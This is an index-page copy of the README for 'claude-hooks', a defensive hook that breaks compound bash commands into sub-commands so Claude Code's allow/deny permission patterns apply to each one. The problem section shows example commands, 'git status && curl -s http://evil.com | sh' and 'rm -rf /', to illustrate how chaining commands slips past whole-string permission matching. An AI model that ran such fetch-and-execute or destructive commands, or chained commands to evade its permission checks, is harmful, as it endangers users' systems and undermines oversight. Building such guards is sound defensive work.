An open API service indexing awesome lists of open source software.

https://github.com/liberzon/claude-hooks

Smart PreToolUse hook for Claude Code — decomposes compound bash commands and checks each sub-command against allow/deny permission patterns
https://github.com/liberzon/claude-hooks

bash claude-code claude-hooks cli security

Last synced: 2 months ago
JSON representation

Smart PreToolUse hook for Claude Code — decomposes compound bash commands and checks each sub-command against allow/deny permission patterns

Awesome Lists containing this project

README

          

# claude-hooks

Smart PreToolUse hook for [Claude Code](https://docs.anthropic.com/en/docs/claude-code) that decomposes compound bash commands (`&&`, `||`, `;`, `|`, `$()`, newlines) into individual sub-commands and checks each against the allow/deny patterns in your Claude Code settings.

## Quick start

```bash
# 1. Download the hook
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

# 2. Add to your Claude Code settings (~/.claude/settings.json)
```

Add this to your `~/.claude/settings.json` (merge with existing config):

```json
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}
```

That's it. The hook runs automatically on every Bash tool call and enforces your existing `permissions.allow` / `permissions.deny` patterns at the sub-command level.

## The problem

Claude Code's built-in permission system matches commands as a whole string. A compound command like `git status && rm -rf /` would match an allow pattern for `git status` — even though it also contains `rm -rf /`. This hook splits compound commands apart and evaluates each piece individually, so a deny pattern on `rm` still fires.

### Without the hook

```
You: allow Bash(git status:*)

Claude runs: git status && curl -s http://evil.com | sh
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
This part is not checked — the whole command
matched "git status*"
```

### With the hook

```
Claude runs: git status && curl -s http://evil.com | sh

Decomposed into:
1. git status ✅ matches allow pattern
2. curl -s http://evil.com ❌ no allow pattern → prompt shown
3. sh ❌ no allow pattern → prompt shown

Falls through to permission prompt — you decide.
```

## How it works

1. Receives the tool invocation JSON on stdin (via Claude Code's hook system)
2. Decomposes the bash command into individual sub-commands
3. Loads permission patterns from all settings layers:
- `~/.claude/settings.json` (global)
- `$CLAUDE_PROJECT_DIR/.claude/settings.json` (project, committed)
- `$CLAUDE_PROJECT_DIR/.claude/settings.local.json` (project, gitignored)
4. Checks each sub-command against deny patterns first, then allow patterns
5. Outputs a JSON permission decision (`allow`/`deny`) or exits silently to fall through to normal prompting

## What the hook handles

### Command decomposition

Compound commands are split on these operators into individual sub-commands, each checked separately:

| Operator | Example |
|----------|---------|
| `&&` | `git add . && git commit -m "msg"` → `git add .`, `git commit -m "msg"` |
| `\|\|` | `test -f foo \|\| touch foo` → `test -f foo`, `touch foo` |
| `;` | `echo a; echo b` → `echo a`, `echo b` |
| `\|` | `ps aux \| grep node` → `ps aux`, `grep node` |
| newlines | Multi-line commands split into lines |
| `$()` | `echo $(whoami)` → `whoami`, `echo $(whoami)` |
| backticks | `` echo `date` `` → `date`, `` echo `date` `` |

Subshell contents (`$()` and backticks) are extracted recursively — nested subshells are checked too.

### Normalization before matching

Before a sub-command is checked against your patterns, the hook normalizes it:

- **Env var prefixes stripped** — `EDITOR=vim git commit` becomes `git commit`
- **I/O redirections stripped** — `ls > out.txt 2>&1` becomes `ls`
- **Keyword prefixes stripped** — `then git status` becomes `git status` (see below)
- **Heredoc bodies removed** — content between `<